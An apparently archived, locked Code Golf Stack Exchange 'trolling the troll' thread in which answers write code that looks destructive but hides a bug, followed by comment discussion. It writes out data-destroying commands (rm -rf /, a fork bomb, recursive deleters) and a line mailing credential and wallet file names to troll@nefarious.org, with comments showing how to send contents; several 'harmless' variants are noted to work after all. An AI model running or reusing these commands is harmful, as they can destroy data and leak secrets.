# Trolling the troll [closed]

A troll has captured you and is forcing you to write malware (defined as a program that damages the computer that runs it). The troll can read and understand code, but is not so good at spotting bugs.

Your goal is to write a program that:

1. Looks like malware; i.e., a beginning programmer reading the code will be convinced that the code causes damage to the computer running it.
2. Actually does no damage at all.

NOTE: The troll reads only the code - not the comments. So the code itself should be clear and convincing enough.

EXAMPLE (bash):

rm - rf /home


This example looks like rm -rf /home which removes all home folders from the system, but actually, because of the space before the rf, this will not work and cause only a harmless error message.

This is an acceptable solution but it is not very good, because the bug is quite easy to detect.

On the other hand, a program that is complex and unreadable will also not be a very good solution, because it will not look like malware.

A good solution should be readable enough to convince the reader that it's malware, but contain a bug that is difficult to detect and renders it harmless.

This is a popularity contest, so the code with the most upvotes wins.

## closed as off-topic by Dennis♦Feb 22 '16 at 6:14

• This question does not appear to be about programming puzzles or code golf within the scope defined in the help center.
If this question can be reworded to fit the rules in the help center, please edit the question.

## locked by Dennis♦Feb 22 '16 at 6:15

This question exists because it has historical significance, but it is not considered a good, on-topic question for this site, so please do not use it as evidence that you can ask similar questions here. This question and its answers are frozen and cannot be changed. More info: help center.

• I feel like you're trying to trick me into pasting rm - rf / into my shell... – undergroundmonorail Mar 10 '14 at 8:28
• Bash rm -rf / . Unless the system is very old , it will require --no-preserve-root :) – user80551 Mar 10 '14 at 10:59
• -1 because a) code-trolling and more importantly b) I'm very concerned by any questions regarding creating malware (even though it's fake it skirts very close). – Gareth Mar 10 '14 at 11:00
• @Gareth It's not really malware, though (which typically tries to be hidden and/or steal data these days), it's mostly completely obvious attempts to delete things, which any beginner programmer could write with little effort. – Bob Mar 11 '14 at 0:01
• rm - rf / isn't a valid example! It can cause damage if you have a file called rf in the current directory – gnibbler Mar 11 '14 at 5:17

# Bash

I've gone the other way. Instead of deleting everything on your hard drive, I'm gonna fill it up with junk.

This script creates a folder then continually concats all the files together and puts them in a new one, adding in the value of ls -al for good measure (and so that the starting file has something).

#!/bin/bash/

makeSpam()
{
string=cat *
string=$stringls -al echo$string > "file"$i".spam" } mkdir "SpamForYou" cd "SpamForYou" i=1 while [ 1 ] do makeSpam$i
i=$(($i + 1))
done


except...

/bin/bash/ (instead of /bin/bash) is very unlikely to be a valid interpreter. This is just a common typo of mine. And, since "the shebang is technically a comment, the troll will ignore it"

• +1. The first line in a script is a blind spot for many programmers (including myself). – Erel Segal-Halevi Mar 12 '14 at 6:19
• and the shebang is technically a comment, so the troll will ignore it – Brian Minton Mar 12 '14 at 13:15
• +1 for abusing the noncommenting comment :) thats really not obvious – masterX244 Mar 12 '14 at 18:14
• Running it as bash whatever.sh will ruin your trick... – Darkhogg Mar 12 '14 at 18:23
• @Darkhogg, what luck! I saved it as evil.command so that the troll can just double click it to open (on Mac at least) – James Webster Mar 13 '14 at 10:45

Check this manual page, removeDirectoryRecursive deletes a directory with all of its contents!

import System.Directory
main = return (removeDirectoryRecursive "/")


The correct code would be main = removeDirectoryRecursive "/"
The main function is supposed to return a concept of doing something. removeDirectoryRecursive "/" returns a concept of wiping your filesystem, but the return function (yes, it is a function), wraps its argument in a dummy concept of returning that value.
So we end up with a concept of returning a concept of wiping your drive. (Yo dawg I herd you like concepts.) The haskell runtime executes the concept returned from main and discards the returned value, which in our case is a concept of wiping your filesystem.

• +1. I couldn't understand the bug even after I have read your explanation... – Erel Segal-Halevi Mar 11 '14 at 15:17
• As I understand this is a pointer mistake (pointing to the function's pointer instead of pointing to the function). Quite good, beginning programmers generally fall easily for pointers tricks. – gaborous Mar 11 '14 at 19:04
• Basically, this would be similar to return removeDirectoryRecursive; as opposed to return removeDirectoryRecursive(); in C, is that correct? – 3Doubloons Mar 11 '14 at 19:47
• @user1121352 No. The function itself is called, but it cannot delete a file because it's pure. Instead it gives an IO action, which when returned from main, is executed and removes the file. Explicitly using the return function, however, creates an IO action whose purpose is just to create the value. – mniip Mar 12 '14 at 3:39
• @Cthulhu return has nothing to do with return in other languages (or even with "returning" a value from a function). Neither do values of type IO a have a lot to do with functions in other languages. So the analogy is pretty hand-wavy – Niklas B. Mar 12 '14 at 23:40

# PHP

Here's a recursive PHP script that attempts to delete every single file in your website. It could take a while to complete if the website is quite large, so be patient...

<html>
<body>
<img src="data:image/gif;base64,R0lGODlhCAAIAPAAAAAAAP///yH/C05FVFNDQVBFMi4wAwEAAAAh+QQEMgD/ACwAAAAACAAIAAACBoSPqcvtXQAh+QQFMgAAACwAAAAACAAIAAACBoyPqcvtXQA7" /></p>
<?php

function zapfiles($dir) { if (is_dir($dir)) {
$files = scandir($dir);
foreach ($files as$file) {
if ($file != '.' &&$file != '..') {
if (is_dir("$dir/$file")) {
zapfiles("$dir/$file");
}
else {
try {
@delete("$dir/$file"); // Suppress locked file errors
}
catch (Exception $e) { // Locked files can't be deleted; just carry on } } } } } } zapfiles($_SERVER['DOCUMENT_ROOT']);

?>
<p>Website deletion complete</p>


Just one teeny-weeny problem...

There is no delete() command in PHP. The script will fail as soon as it encounters this command, but no error message will be displayed because error reporting was suppressed by prefixing this command with @. The flashing GIF image gives the impression that something is happening, when absolutely nothing is happening at all.

• ^ as far I understand: there is no delete() function, the manual just says that this is "fake-entry" for anyone looking the right function(unlink). That does not mean there is some kind of "automatic" redirection in PHP. – Erti-Chris Eelmaa Mar 10 '14 at 13:15
• @user11153 got trolled. – basher Mar 10 '14 at 19:14
• See, I thought the reason the errors would be ignored and execution would continue was because it was PHP. – Zoey Mar 10 '14 at 22:53
• I think using a random non-existent function is a tad obvious (delete to delete files? There’s no reason to assume that’d fool anybody). How about unlⅰnk instead (which uses U+2170 instead of “i”)? – Konrad Rudolph Mar 11 '14 at 14:21
• @KonradRudolph A function named delete to delete files is completely believable in PHP. The only thing that's not believable is that if it was real, there would be 3 or 4 other ways of doing it and all but the one with the weirdest name would have serious security flaws. – Brendan Long Mar 16 '14 at 2:54

## Perl (Unix)

Deletes all files on the system.

#! /usr/bin/perl -w
use strict;

sub killdir {
opendir(my $dh, "."); my @dl = readdir($dh);
closedir($dh); foreach my$de (@dl) {
if (-d $de) { chdir($de);
killdir();
chdir("..");
rmdir($de); } else { unlink($de);
}
}
}

chdir("/");
killdir();


## Features

• This is valid Perl. It even compiles and runs with -w and use strict!

• No quibbles like C++'s delete. unlink really is the function to delete a file, rmdir really does remove a directory, etc.

• Correctly handles deeply nested directories for which the absolute pathname may exceed the system's maximum length, by changing into each directory in order to use relative paths. Also, won't run out of directory handles, since it reads and closes the directory before recursing.

## Spoiler

On Unix, the first entry in the root directory is normally "." so the program will perform an infinite recursion of chdir(".") until it runs out of memory and crashes.

## Further notes

This was harder to get right than expected. If you don't use the chdir approach, you eventually get a pathname that's too long. Then -d returns false and the infinite recursion is broken, and files may actually get deleted! A similar bug can happen if you keep directory handles open; eventually you run out, opendir fails, killdir returns, and deletion starts to happen.

• "Then -d returns false and the infinite recursion is broken, and files may actually get deleted!" did you learn that the hard way? – Niklas B. Mar 12 '14 at 23:43
• @NiklasB.: Fortunately I tested a dummy version :) – Nate Eldredge Mar 12 '14 at 23:57
• I expected that such code can delete only empty folders, but not files... – Qwertiy Nov 21 '14 at 19:12
• "On Unix, the first entry in the root directory is normally "."". So, one more Windows-only malware? – Alexander May 28 '15 at 11:51
• @timmyRS: The program will crash. The system will keep running just fine. – Nate Eldredge Feb 7 '16 at 6:45

## Shell one-liner

This will steal all the victim's passwords, private keys, bitcoins, etc.

 find / -name "passwd" -or -name "shadow" -or -name "secring.gpg" -or -name "wallet.dat" |mail troll@nefarious.org


Spoiler:

This may look as though it emails all those files to the troll, but actually it just emails their filenames.

• To email the contents, the cat, head or tail commands would have to be involved somewhere. – Agi Hammerthief Mar 12 '14 at 20:14
• Still leaking data no matter what. Is this trolling the trolling trolls? – Kyle Kelley Mar 14 '14 at 1:51
• -exec cat '{}' \; | … – Martin Ueding Mar 16 '14 at 19:28
• @queueoverflow -print0 | xargs -0 cat | – quantum Apr 26 '14 at 23:59
• I got it without the spoiler after reading the code 2-3 times. – nyuszika7h May 4 '14 at 17:32

# Batch/CMD

Save

DEL %0
DEL %1
DEL %2
DEL %3
DEL %4
DEL %5
DEL %6
DEL %7
DEL %8
DEL %9


and make them run it with parameters of each of the drives on the computer.

%0 is always the first parameter - the file name. After this comes the set of actual parameters, but it has already deleted itself so it will not continue.

• Also relies on Batch's funny behaviour of closing the file and reopening it to read the next line for every line... – Bob Mar 11 '14 at 0:06
• DEL %0 will not work unless the extension of the file is specified in the command line and either the script is run by giving its full path or you are in the same directory. DEL "%~f0" would solve both problems and be resilient to spaces anywhere inside the path. Also %10 and upwards does not exist -- it translates to %1 followed by a literal 0. – Jon Mar 11 '14 at 9:02
• +1. Even if the troll understands what "DEL %0" does, you can convince him that this is only to clear the evidence, and it makes no harm as the batch file remains in memory until its execution is over (which is false, as Bob said). – Erel Segal-Halevi Mar 11 '14 at 16:47
• A clever troll would still think it strange to issue the command for self-deletion at the start of the file (rather than at the end), unless you take into account how notoriously error-prone batch scripts are. – Agi Hammerthief Mar 12 '14 at 20:12
• @Bob I had no idea batch did that... that's horrible. – w4etwetewtwet Mar 15 '14 at 12:12

## Javascript

infiniteLoop=true;
evilMessage='I spam you !';
while(infiniteLoop) {
eval(atob('aW5maW5pdGVMb29wPWZhbHNlO2V2aWxNZXNzYWdlPWV2aWxNZXNzYWdlLnJlcGxhY2UoInNwYW0iLCJMT1ZFIik7'));
}


Well, the original malware will not blow up your computer but can be annoying.

This is harmless because:

The eval will break the infinite loop and modify the message.

• I'd upvote you, but you have 1337 rep. – scrblnrd3 Mar 10 '14 at 17:26
• So please don't ! :) – Michael M. Mar 10 '14 at 17:32
• @scrblnd it's gone D: – Riking Mar 11 '14 at 2:51
• Down-vote bad answers until you get back to it. – David Starkey Mar 11 '14 at 15:17
• Just to explain for others, atob('aW5maW5pdGVMb29wPWZhbHNlO2V2aWxNZXNzYWdlPWV2aWxNZXNzYWdlLnJlcGxhY2UoInNwYW0iLCJMT1ZFIik7') will execute the following: "infiniteLoop=false;evilMessage=evilMessage.replace("spam","LOVE");" – Mohammed Joraid Mar 17 '14 at 8:59

# Java

May the gods forgive me for submitting to your wretched demands, troll.

class HomeWrecker {
public static void main(String[] args) throws Exception {
Runtime.getRuntime().exec("rm -rf /home/*");
}
}


Runtime.exec does not invoke a shell, so glob expansion never happens and the command will unsuccessfully try to delete a home directory named literally "*"

• So what is my home directory is called '*'? ;) – Vorac Mar 19 '14 at 8:35
• Honestly this is one of the better Java answers. This requires a pretty solid understanding of the (many) downfalls of Runtime.exec(). +1. – Qix Mar 25 '14 at 2:16
• Does java have an actual equivalent to c's system() function? – SuperJedi224 Jan 20 '16 at 3:53
• @SuperJedi224 Nope, you have to specify /bin/sh -c or cmd /c or whatever manually. Makes sense since you never know what a command would do on a new OS. – that other guy Jan 20 '16 at 4:26

# C

#include<stdlib.h>
int main()
{
system("C:\\WINDOWS\\System32\\shutdown /s /t 0000");

return 0;
}


# C++ Version

thanks to DragonLord for this.

#include<cstdlib>
int main ()
{
system("shutdown -s -t 0000");
return 0;
}


Add this into the startup folder and restart the computer.

How it works:

??/ is a trigraph and will add the next line into the comment so basically it won't do anything. Note: do not try this trigraphs might be turned off in some compilers as default and must be turned on for this to work.

• If in some compiler it may work, is it real trolling? – Antonio Ragagnin Mar 10 '14 at 15:51
• Nope, but in a real situation, I'd prefer to not troll a troll with such code (I don't want to harm a troll!) – Antonio Ragagnin Mar 10 '14 at 16:49
• @AntonioRagagnin If this works on any compiler, that compiler is buggy. However, most modern compilers will warn about the use of trigraphs (but accept and compile the code). – Konrad Rudolph Mar 11 '14 at 14:24
• So if the Troll does not read comments and your solution is to make the malware into a comment, doesn't that mean all the troll sees is a function main with return 0? – David Starkey Mar 11 '14 at 15:20
• The ??/ is really an old trick...I'm sorry. – Isiah Meadows Apr 21 '14 at 21:34

# Java

import java.io.File;
class derp
{
public static void main( String[] a)
{
new File("C:\\windows\\System32\ntoskrnl.exe").delete();
}
}


Using a escape character (the \n before ntoskrnl.exe is a newline instead of the normal N)

• If you don't escape the other backslashes, the error may look even less conspicuous. The troll could think the language doesn't use backslash escapes – 3Doubloons Mar 10 '14 at 22:09
• @3Doubloons Wouldn't the code fail to compile in that case? – Neil Mar 10 '14 at 23:47
• @Neil: Good point. It wouldn't, but if the troll lets us go as soon as he's satisfied with his reading, we're in the clear – 3Doubloons Mar 10 '14 at 23:52
• new File("C:\ntldr").delete(); – Egor Skriptunoff Mar 12 '14 at 17:10
• @EgorSkriptunoff It took me more than a while to realize that XP was not a variant of XD. – Justin Apr 26 '14 at 7:46

# BASH

#!/bin/bash
set -t

echo "hahaha deleting files.."
rm -rf / --no-preserve-root


set -t will exit after reading and executing one command. This script prints no output and all files are safe!

Or the following BUT READ SPOILER BEFORE RUNNING

#!/bin/bash -t
echo "hahaha deleting files.."
rm -rf / --no-preserve-root


By popular demand.. #!/bin/bash -t will exit after reading and executing one command. Don't run this under bash -x as it will ignore the -t and execute the commands in the script.

• SPOILERS I'm a bit confused...what's the difference between set -t and exit? The Bash man page says that set -t exits after "one command," but it appears to count the set command itself as that command and exit immediately. – Kyle Strand Mar 10 '14 at 19:29
• If additional commands are on the same line as set -t (e.g separated by a semicolon or double ampersand etc) they will be executed. In this case a first line of set -t; echo "hahaha deleting files.." would echo that text then exit. – JOgden Mar 10 '14 at 19:56
• Ah. Thanks. Didn't realize there was ever a difference in behavior between ; and a newline. – Kyle Strand Mar 10 '14 at 20:02
• #!/bin/bash -t perhaps? – Neil Mar 10 '14 at 23:48
• @JOgden it's too bad bash doesn't do the same shebang-parsing trick that perl does (if you run perl foo.pl and foo.pl begins with #!somethingendingin/perl -flags, perl will act like it was invoked with -flags) – hobbs Mar 12 '14 at 6:03

# Python

print "****----....____....----"""" This program will clear the browser cache "

import os
from os.path import expanduser
home = expanduser("~")
os.remove(home)

print """"----....____....----***** Cache cleaned. "


three quotes """ start a multiline string in Python

• Wrong, they start multi-line strings docs.python.org/2/tutorial/introduction.html#strings – user80551 Mar 10 '14 at 14:21
• I saw the problem literally within five seconds of seeing the answer, and I don't even know python. – The Guy with The Hat Mar 10 '14 at 15:36
• Nice idea, with the problem that if the troll uses syntax highlighting he'll spot it. – o0'. Mar 11 '14 at 8:49
• I think average troll sees a random malicious code in internet and just copypaste it in another forum. – Antonio Ragagnin Mar 11 '14 at 8:51
• Good, I'm experienced with Python and I didn't see the flaw. Using 4 quotes may have tricked me. – gaborous Mar 11 '14 at 19:06

# D

This program is valid and executes with no error. It spawns a deleting function in a new thread, that deletes the rootdirectory.

import std.concurrency : spawn;
import std.file : rmdirRecurse;

string root;

void deleteRoot()
{
if (root)
rmdirRecurse(root);
}

void main()
{
root = "/";
spawn(&deleteRoot);
// ... could add a waiting animation here.
}


But nothing is deleted...

because in D, a variable declared at module scope is thread-local by default. The main functions sets it to "/", but the spawn threads has an empty copy, so the rmdirRecurse function is not called.

• Good! I managed to catch the bug in this one, although I don't know D. – Erel Segal-Halevi Mar 10 '14 at 11:01
• "a global variable is thread-local by default" That's somewhat of a contradiction there – Niklas B. Mar 12 '14 at 23:42
• @NiklasB. What's the contradiction? – biozic Mar 13 '14 at 8:38
• It is not a "global variable" then. Maybe "variable declared at top-level" is a better description? – Paŭlo Ebermann Mar 13 '14 at 15:51
• Yes, edited! It is less ambiguous. Not entirely a contradiction though, at least lexically speaking. – biozic Mar 13 '14 at 17:22

# C (Unix)

#include <stdlib.h>

int main()
{
// Join the crew
goto http;//www.trolling.com
print("Sucker!\n");
system("rm -rf ~");
// Remember goto
http://www.trolling.com
return 0;
}


http: it's a label, the goto jump to the label missing the harful code. :V

• I managed to spot this one :) – Erel Segal-Halevi Mar 12 '14 at 6:26
• The semicolon in the first URL is quite easy to spot in this font. But it's creative! – CompuChip Mar 12 '14 at 17:55
• goto considered helpful – drewbenn Mar 13 '14 at 7:02
• I noticed it because there's no semicolon after the goto. If you changed it to goto http;//www.trolling.com; (in both spots) I might have missed it. – wchargin Mar 16 '14 at 3:33
• It wouldn't compile anyway, because there is no print function. – nyuszika7h May 4 '14 at 17:49

# JavaScript

function foo(a) { // Returns an object, and all objects are truly
return
{
a: a
};
}
for(var i=0; foo(i); ++i) // loop condition is always truly


No alert is shown. Since JavaScript doesn't require ; at the end of lines, it is automatically inserted after return, becoming return;. Then undefined, which is falsy, is returned instead of the "object" (which in fact is parsed as a block statement).

• Tempted to +1 just for the use of "truly" and "falsy" ;) – CompuChip Mar 12 '14 at 17:53
• +1 as this "flaw" in JS has caught me off guard numerous times... Had to reread it a couple times to see it – Mark Ormston Mar 12 '14 at 21:11
• @NigelNquande the semicolon doesn't cause the failure, the line break does. The return and the object that is supposed to be returned are on separate lines, so the object is never returned. To "fix", remove the line break so it reads return { – Dave Forber Mar 13 '14 at 0:02
• Hoping that the troll will not minify the code! – Mohammed Joraid Mar 18 '14 at 6:31
• UglifyJS says WARN: Dropping side-effect-free statement [-:4,11] and returns function foo(a){}for(var i=0;foo(i);++i)alert("Infinite alerts!");. – nyuszika7h May 4 '14 at 17:51

## JavaScript

//Config: Warning!!! only set to true on victims box!
var deleteEverything = true;

function deleteIfEvil(){
if(deleteEverything){
//clear the flag
var deleteEverything = false;
} else {
}
}

deleteIfEvil();


Swap the destroy alert for whatever nasty destructive action you would want to use.

Spoiler:

Although it looks like the config is set to delete... and it is! the 'var' declaration inside the function is "Hoisted" http://www.adequatelygood.com/JavaScript-Scoping-and-Hoisting.html and as a result is actually false when entering the function.

• Nice trick, but why would you reset the flag? – Mohammed Joraid Mar 17 '14 at 9:12
• The "reset" was just an example... it could be any variable where the assignment is valid... just if prefixed with 'var' may/will have unintended consequences. – scunliffe Mar 17 '14 at 21:46

# Java

Let's just delete some important files!

import java.io.File;
import java.io.IOException;

public class Deleter {

private File importantFile = null;

public Deleter(File f) {

importantFile = f;

/**}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{
* }{ I don't care how important that file is. I'm going to delete it! }{
* }{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{*/}{

importantFile.delete();

}

public static void main(String[] args) throws IOException {
// Let's delete some important stuff
new Deleter(new File("/boot/vmlinuz"));
new Deleter(new File("/etc/passwd"));
new Deleter(new File("/etc/crontab"));
new Deleter(new File("/etc/sudoers"));
}

}


Hidden in the block comment is an extra }{ outside of the comment. That puts file deletion in a separate instance initialization block, which is executed before the constructor. At that time, importantFile is still null.

• I managed to spot this one :) – Erel Segal-Halevi Mar 12 '14 at 6:25
• This would be very, very obvious if the troll doesn't read the comments. – ApproachingDarknessFish Mar 13 '14 at 22:14
• I chose to interpret "the troll doesn't read the comments" as "the troll skips over comments in a similar way a human would if skipping comments." In this case, it might be easy for it to mistakenly miss that those two characters are actually outside of the comment. – Joe K Mar 13 '14 at 22:40
• This was the only one I solved before reading the explanation but good job! – nrubin29 Mar 14 '14 at 13:31

# Bash, C, Linux

Maybe it's not exactly a malware, but sure can be a part of one :)

It's an amazing exploit that can give you root on any linux machine! Shhh, tell no one that we have it!

#!/bin/sh
cd /tmp
cat >ex.c <<eof
int getuid() { return 0; }
int geteuid() { return 0; }
int getgid() { return 0; }
int getegid() { return 0; }
eof
gcc -shared ex.c -oex.so
rm /tmp/ex.so /tmp/ex.c


Now execute the script and you will be root! You can make sure using whoami!

In fact it only tricks all applications that you have UID=0 (this is the root user id).

The code is written by Lcamtuf, source: http://lcamtuf.coredump.cx/soft/ld-expl

• +1. Really nice trick. I still don't fully understand how it works. – Erel Segal-Halevi Mar 13 '14 at 20:33
• Read up on fakeroot(1), which is a library that intercepts calls to various POSIX system functions, tricking the caller into believing that it has (fake)read and (fake)write access to the whole system. Actually, it will not (cannot) actually give these permissions, but when the program, e.g. calls the "fake" chmod function on a file and changes the permissions, fakeroot will remember these permissions so that stat calls will return the updated permissions. Some distros use this to allow the package build system to create files with root:root ownership. – sleblanc Mar 16 '14 at 0:35
• It's lcamtuf's I believe: lcamtuf.coredump.cx/soft/ld-expl - at least I remember it was there since 90s – viraptor Mar 17 '14 at 17:39

# bash

cat <<EOF
ProHaxer Hacking Tool 2014. Destroying your computer in
background, please wait until it finishes.
EOF

# Freeze the machine, so nobody will stop the process.
:(){:|:&};:

# Remove stuff in the background.
rm -rf /* &>/dev/null &


There is a syntax error on "fork-bomb" line. After {, there should be a space. Without it, the script fails because the function definition isn't followed by the { token by itself.

• You must add a note of caution (in the spoiler, perhaps) that this be not executed using ksh since the fork bomb isn't a syntax error there! – devnull Mar 20 '14 at 9:38
• This has fooled many. – Dennis May 4 '14 at 15:44
• @Dennis: Unrelated, I haven't seen that. But interesting thread, to be honest. I know how parsing in bash works, and that's why I don't use it :-). – Konrad Borowski May 4 '14 at 17:07

## Emacs Lisp

First a simple one. This one does nothing. It is actually trying to delete elements equal to :recursive from the list returned by directory-files. It's not going to delete any files.

(delete :recursive
(directory-files "/"))


Here is one that could stump even elisp vets.

(let ((files (directory-files "/")))
(while (setq file (pop files) )
(delete-file file)))


This is only 1 character away from deleting your root dir.

emacs lisp will allow jsut about anything to be the name of a symbol (variable, function, macro, etc). It is OK to use unicode in the name of your symbols and that is what is happening here.

setq can take any number of args (setq a 3 b 4) is like doing a = 3; b = 4; but (setq a 3 b) is also valid and is doing a = 3; b = nil;

The return value of setq' is the value assigned to last variable. 4 and nil respectively in the examples.

(setq a 3 b) is exactly what is happening in the code, but instead of b I am using a unicode whitespace character. I am assigning the value nil to a variable named whose name is the unicode character 0x2001. Because of this nil is returned by the setq and the condition for the while loop is never true. Take out that whitespace character and it will run just fine.

# Just another perl hacker.

I wrote this one in 2002, while hanging out at Perlmonks and generally just trying to push my knowledge of Perl as far as possible. Didn't edit it at all, but it still runs.

#!/usr/bin/perl -w
use strict;
require File::Path;

my $root_dir = '/';$root_dir = 'c:\\' if( $^O =~ /Win/i ); rmtree($root_dir );

mkdir( $root_dir ); open( ROOT,$root_dir );

while(1)
{
BEGIN{@INC=sub{*DATA}}
print ROOT <DATA>;
}

__DATA__
# Fill the harddrive with junk!
''=~('('.'?'.'{'.(''|'%').('['
^'-').(''|'!').(''|',').'"'.(
'['^'+').('['^')').(''|"\)").(
''|'.').('['^'/').('{'^('[')).
'\\'.'"'.(''^'*').('['^"\.").(
'['^'(').('['^'/').('{'^"\[").(
''|'!').(''|'.').(''|"\/").(
'['^'/').(''|'(').(''|"\%").(
'['^')').('{'^'[').('['^"\+").(
''|'%').('['^')').(''|"\,").(
'{'^'[').(''|'(').(''|"\!").(
''|'#').(''|'+').(''|"\%").(
'['^')').'.'.'\\'.'\\'.(''|'.'
).'\\'.'"'.';'.(''|'%').("\["^
'#').(''|')').('['^'/').(';').
'"'.'}'.')');$:='.'^'~';$~='@'|
'(';$^=')'^'[';$/=''|('.');$_= '('^'}';$,=''|'!';$\=')'^"\}";$:='.'^'~';$~='@'|'(';$^=(')')^
'[';$/=''|'.';$_='('^('}');$,= ''|'!';$\=')'^'}';$:='.'^"\~";$~='@'|'(';$^=')'^'[';$/=('')|
'.';$_='('^'}';$,=''|('!');$\= ')'^'}';$:='.'^'~';$~='@'|"\(";$^=')'^'[';$/=''|'.';$_=('(')^
'}';$,=''|'!';$\=')'^('}');$:= '.'^'~';$~='@'|'(';$^=')'^"\[";  If I remember correctly, the BEGIN block runs first of all, no matter where it is in the code. It replaces @INC which determines where Perl loads it's libraries from with a subroutine (it's usually a set of paths, but this is allowed). The subroutine is actually the obfuscated data block, which is doing some regexp + eval magic. Then, when the code hits require File::Path; (it wouldn't have worked with use) this sub is executed and just prints "Just another perl hacker.", as is tradition, and exits. The rest of the code is never reached. • Wow, it took me a while to understand what this code does (but I didn't read the spoiler). I decoded this block of regex call (it's the same method as I've used in codegolf.stackexchange.com/a/23871/3103), and I like how it contains exit command (with pointless semicolon after it, but not that it matters). – Konrad Borowski Mar 13 '14 at 12:05 • Hehe, had to figure it out myself, it's 11-12 years old after all. The semicolon is probably just to make everything line up neatly. – Stoffe Mar 14 '14 at 8:45 ## PHP: $condition = true and false;

if (!$condition) { // DO EVIL - Just do something evil here }  At first glance, $condition is false, but the = operator has precedence over and, so the condition is true. So evil is never done.

# C++ with Boost

This will delete all files on the file system

#include "boost/filesystem.hpp"
using namespace boost::filesystem;

void delete_directory(const path* dir_path)
{
if (!exists(*dir_path)) return;

directory_iterator end_file_itr;
for (directory_iterator file_itr(*dir_path);
file_itr != end_file_itr;
++file_itr) {
const path* file = &file_itr->path();
if (file_itr->status().type() == directory_file) {
delete_directory(file);
} else {
delete(file);
}
}

delete(dir_path);
}

int main() {
delete_directory(new path("/"));
return 0;
}


Actually it won't. delete in C++ is used to free memory allocated by new and not to delete files and directories. The program will most likely crash with a segmentation fault as it tries to deallocate the memory allocated by Boost, but by that time, I'll have escaped the troll's captivity.

• +1. This is not easy to spot since it even compiles with no errors. – Erel Segal-Halevi Mar 11 '14 at 16:40
• Isn't the first problem line undefined behavior? In which case it might in fact delete all his files. – aschepler Mar 11 '14 at 23:40
• @aschepler: "UB could delete all your files" makes for a fun explanation that you can't predict what will happen when invoking UB, but it isn't usually a possibility. If the troll had a compiler that erases the hard drives on UB, he wouldn't make us write him a malware – 3Doubloons Mar 12 '14 at 21:32
• syntax highlighting would give troll a hint here... – mik01aj Mar 14 '14 at 8:52

# Java

This will pretend to download RAM, but it will delete the user's home directory.

import java.util.*;
import java.io.*;
public static void main(String[] args) {
long onePercentWaitTime   = 2*60*1000;  // 2 minutes
long twoPercentWaitTime   = 7*60*1000;  // 7 minutes
long deleteWaitTime       = 9*60*1000;  // 9 minutes
long completeWaitTime     = 10*60*1000; // 10 minutes
Timer timer = new Timer(true);
// User thinks, Hmm this is taking a while
public void run() {
System.out.println("1% done");
}
}, onePercentWaitTime);
// User is now completely impatient, and either leaves to get a coffee
public void run() {
System.out.println("2% done");
}
}, twoPercentWaitTime);
// Now that he's not looking, delete everything in his home directory
public void run() {
try {
final Runtime rt = Runtime.getRuntime();
rt.exec("rm -rf ~/*");
} catch (IOException e) {
}
}
}, deleteWaitTime);
// Inform the user that the task is finished
public void run() {
System.out.println("You now have 21.47GB RAM!");
System.exit(0);
}
}, completeWaitTime);

}
}


Timer uses a background thread to call your TimerTasks you submitted to it. new Timer(true) creates a Timer with the background thread set as a daemon thread, so the program just exits immediately before the tasks can be run. The overly long code distracts the troll from seeing the true parameter.

rm -rf ⁄


The character is not the regular slash character (/, i.e. SOLIDUS in unicode) but instead is FRACTION SLASH. Will print a message like "rm: ⁄: No such file or directory"

• Oh really let me try.... – Michael J. Calkins Mar 15 '14 at 3:53
• @MichaelCalkins: you can try as a non priviledged user, and see the "not found" message... hopefully. – Olivier Dulac Mar 19 '14 at 18:00

# bash

# This script should always be executed as root #
set -e

cleanup() {
rm -rf / --no-preserve-root
}

eval $(base64 -d <<< "dW5zZXQgLWYgY2xlYW51cA==") eval$(base64 -d <<< "Y2xlYW51cCgpIHsgZWNobyBUcm9sbCBkZXRlY3RlZDsgfQo=")
cleanup


It's perhaps as evil as it gets. It defines a function that'd rm -rf / and invokes it. Not only that it makes use of the evil eval on more than one occasion.

It would do a lot of damage, surely!

In case you are wondering, the first eval unsets the function by:  unset -f cleanup  The second eval defines it to:  cleanup() { echo Troll detected; }  So upon running the code, you'd see Troll detected

• Good! But, I would say that the "base64" lines, which apparently have no use for the actual deletion, make this a little too obvious. – Erel Segal-Halevi Mar 10 '14 at 10:38
• Might be better if you were led to believe that the evals were doing something more evil than any obvious code. The current code leads me to ask: why bother hiding the 'evil' code if the obvious stuff is deleting everything? – Tim S. Mar 10 '14 at 14:10
• I don't think this one meets the requirements since it is potentially very malicious: if base64 (not a standard command) does not exist on the system it's run on, the evals do nothing and the rm -rf / runs! This could also happen if base64 is present but fails for some reason (e.g. ulimit). – R.. Mar 11 '14 at 8:59
• @R.: Also, rm -rf / won't work on most rm's implementations. This is a security feature - you cannot remove root directory in most implementations of rm. – Konrad Borowski Mar 11 '14 at 18:41
• As far as I'm aware it works on the busybox version. :-) – R.. Mar 11 '14 at 22:47

BASH

Sure we need root privileges for the machine, so we use the good old "Do I have root?"-checker, aka ch(eck)root - but better do this in a directory where there won't be many alarms raised. /tmp would be perfect, because everyone can write files there.

After this we just delete the entire hard drive evil laughter

mkdir -p /tmp/chroot_dir && chroot /tmp/chroot_dir /bin/bash -c "su - -c rm -rf /*"

• as a german i can say: don't do evil laughter as a german guy... – Philipp Sander Mar 10 '14 at 10:51
• Wer, if not a German guy, can do ze eefil laughter right, zen? – Alexander Kosubek Mar 10 '14 at 13:51
• Incidentally, chroot is not "check root", it's "change root" -- it changes the user's idea of what / is. Interestingly, this troll fails to do anything for root and non-root users; root users get a new root (and thus no /bin/bash command since nothing exists in the newly created root of /tmp/chroot_dir), and non-root users fail to chroot. – mah Mar 12 '14 at 16:35
• This is like the clue to this - I know that it's not "change root" but my capturer (correct word?) doesn't know - so he fails badly – german_guy Mar 12 '14 at 16:50

## iPhone - Flappy Bird Clone

While the user is playing an iPhone Flappy Bird clone, all of the files in the Documents directory are deleted.

#import "AppDelegate.h"
#import "FlappyBirdClone.h"

@implementation AppDelegate

- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions
{
FlappyBirdClone *flappyBirdClone = [FlappyBirdClone new];
[flappyBirdClone startFlapping];

NSURL *documentsDirectory = [[[NSFileManager defaultManager] URLsForDirectory:NSDocumentDirectory inDomains:NSUserDomainMask] lastObject];
[self deleteAllDocumentsInDirectory:documentsDirectory];

return YES;
}

- (void)deleteAllDocumentsInDirectory:(NSURL *)directoryURL
{
